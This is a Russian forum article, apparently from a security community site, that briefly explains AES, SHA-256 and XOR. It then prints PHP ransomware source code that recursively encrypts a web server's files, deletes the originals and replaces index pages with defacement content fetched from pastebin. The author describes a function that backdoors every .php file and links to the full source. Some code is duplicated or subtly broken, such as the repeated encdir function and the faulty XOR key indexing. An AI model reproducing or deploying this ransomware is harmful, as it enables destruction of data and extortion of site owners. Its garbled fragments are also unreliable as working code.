• 15 апреля стартует «Курс «SQL-injection Master» ©» от команды The Codeby

    За 3 месяца вы пройдете путь от начальных навыков работы с SQL-запросами к базам данных до продвинутых техник. Научитесь находить уязвимости связанные с базами данных, и внедрять произвольный SQL-код в уязвимые приложения.

    На последнюю неделю приходится экзамен, где нужно будет показать свои навыки, взломав ряд уязвимых учебных сайтов, и добыть флаги. Успешно сдавшие экзамен получат сертификат.

    Запись на курс до 25 апреля. Получить промодоступ ...

Статья Краткое знакомство с алгоритмами. Серверный шифровальщик на PHP. Mcrypt и SHA256.

6646192-word-cloud-concept-illustration-of-cryptography-encryption.jpg



Advanced Encryption Standard - это симметричный алгоритм блочного шифрования.
Блочное шифрование - это когда информация разбивается на блоки и шифруется кратными блоками например, 8-ми или 16 байтам.
Данный алгоритм был принят правительством США в качестве стандарта в результате конкурса, проведенного между технологическими институтами. Надежным ключом считается ключ в 128 бит и больше, напоминаю, что 1 байт = 8 битов ). 128 байт делятся на группы из 8- ми рядом стоящих бит так, чтобы в результате получился массив. Байт - это основной элемент, которым оперирует алгоритм AES. Значение байта задается в шестнадцатеричной системе. Например: 10101100 = 1010 1100 = АС. Старший бит - это единичный бит числа, отвечающий за самую большую степень двойки. Байт делится на 2 группы: старшие биты в данном случае - это 1010 идут первыми, а младшие 1100 - вторыми. Алгоритм основан на подстановках, перестановках и линейных преобразованиях, каждый из которых выполняется на блоках данных по 16 байтов. Все операции выполняются по несколько раз и называются раундами. Во время каждого раунда уникальный ключ рассчитывается из ключа шифрования и включается в вычисления. Основываясь на блочной структуре AES, изменение отдельного бита либо в ключе, либо в блоке открытого текста приводит к совершенно другому блоку зашифрованного текста.

SHA-256 - это хеш функция, созданная Агентством национальной безопасности США весной 2002 года. SHA 256 раздробляет информацию на части по 512 бит и производит ее криптографическое «смешивание», а затем выдаёт 256-битный хеш-код. Всю это процедуру он повторяет 64 раза.
SHA256 имеет длину 64 символа. Каждый символ - это цифра от 0 до 9 и/или буква от A до F, которые формируют 4 бита информации. Таким образом, весь хеш равняется 64 x 4 = 256 битов информации. Именно поэтому в названии функции SHA256 присутствует 256.

PHP-Mcrypt - это интерфейс библиотеки mcrypt, которая поддерживает широкий набор алгоритмов.

Что же теперь перейдем к самому шифровальщику:
Screenshot_2.png

Дизайн поменяйте под себя, я знаю, что он тот еще кал.
Перейдем к самому коду:
Код:
echo "<h2><center><font color='black'>Ransomware</font></center><br/></h2>";

function encrypt_decrypt($action, $string, $secret_key, $encrypt_method, $iv) {
    $key = hash('sha256', $secret_key); # Генерируем ключ
    if( $action == 'encrypt' ) {
        return base64_encode(openssl_encrypt($string, $encrypt_method, $key, 0, $iv)); # возвращаем зашифрованную строку
    }
    else if( $action == 'decrypt' ){
        return openssl_decrypt(base64_decode($string), $encrypt_method, $key, 0, $iv);
    }
}

function encfile($file){
  if (strpos($file, '.htaccess') != false) return;
  if (strpos($file, '.FS') != false) return;
  if (strpos($file, 'Readme.html') != false) return;
  if (strpos($file, 'rans') != false) return;
  $code = file_get_contents('http://pastebin.com/raw/P5MskjcX');
  if (strpos($file, 'index') != false) { file_put_contents($file, $code); return;}
  file_put_contents($file.'.FS', encrypt_decrypt($_POST['encdec'], file_get_contents($file), $_POST['key'], $_POST['mthd'], $_POST['iv']));
  unlink($file);
}

Параметры функции encrypt_decrypt:
  • $action - шифровать/дешифровать
  • $string - текст файла
  • $secret_key - ключ
  • $encrypt_method - метод шифрования, о нем чуть позже
  • $iv - ненулевой инициализирующий вектор.
Ко всем зашифрованным файлам добавляет расширение .FS .Функция encfile принимает в качестве аргумента файл и проверяет не является ли он каким либо важным файлом, который может навредить системе или этот файл создан нашей программой, например Readme.html, в котором мы оставим сообщение администратору, а также проверяет был ли файл зашифрован. Также она делает дефейс главной страницы сайта, код которой берет с pastebin.

Далее функция encdir переходит из директорию в директорию и вписывает в файл зашифрованный код, а функция shell вставляет бэкдор во все файлы с расширением .php
Код:
function encdir($dir, $func){
  $j = 0;
  $files = array_diff(scandir($dir), array('.', '..'));
  foreach ($files as $filecip){
    if(is_dir($dir.'\\'.$filecip)){
      encdir($dir.'\\'.$filecip, $func);
    }else{
      $j++;
      echo "Encrypted in the directory ".$j.' ';
      $findme    = 'z';
        $findme1   = 'Y';
      $pos1 = stripos($func, $findme);
      $pos2 = stripos($func, $findme1);
      if ($pos1 !== false){
              echo "file: ".$dir."\\".$filecip." <font color='white'>Decrypt!!!</font><br>";
      }else{
        echo "file: ".$dir."\\".$filecip." <font color='#800000'>Encrypt!!!</font><br>";
      }
      $func($dir.'/'.$filecip);
    }
  }
}

function encdir($dir, $func){
  $j = 0;
  $files = array_diff(scandir($dir), array('.', '..'));
  foreach ($files as $filecip){
    if(is_dir($dir.'\\'.$filecip)){
      encdir($dir.'\\'.$filecip, $func);
    }else{
      $j++;
      echo "Encrypted in the directory ".$j.' ';
      $findme    = 'z';
        $findme1   = 'Y';
      $pos1 = stripos($func, $findme);
      $pos2 = stripos($func, $findme1);
      if ($pos1 !== false){
              echo "file: ".$dir."\\".$filecip." <font color='white'>Decrypt!!!</font><br>";
      }else{
        echo "file: ".$dir."\\".$filecip." <font color='#800000'>Encrypt!!!</font><br>";
      }
      $func($dir.'/'.$filecip);
    }
  }
}

XOR - это один из самых простых и эффективных алгоритмов шифрования. Таблица исключения(или):
37-0.gif

Код на PHP:
Код:
function cxor($file){
  if (strpos($file, '.htaccess') != false) return;
  if (strpos($file, '.FS') != false) return;
  if (strpos($file, 'Readme.html') != false) return;
  if (strpos($file, 'rans') != false) return;
  $key = $_POST['key2'];
  $cipher = '';
  $f = file_get_contents($file);
  for($j = 0; $j < strlen($f);){
    for ($i=0; $i <strlen($key); $i++, $j++) {
      $cipher.= $f{$j} ^ $key{$j};
    }
  }
  file_put_contents($file.'.FS', $cipher);
  unlink($file);
}

Я уже описывал работу этого шифровальщика в разделе разработки. Я знаю, что я довольно мало описал алгоритмов и принципы их работы, но тут вам нужно будет включить голову. Говнокод подправлю к утру.
Полный код шифровальщика: THSamurai/Ransomware-php

XOR - Практика применения XOR в программировании
AES - Как устроен AES
SHA256 -
 

Вложения

  • Screenshot_1.png
    Screenshot_1.png
    255 КБ · Просмотры: 317
Последнее редактирование:
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!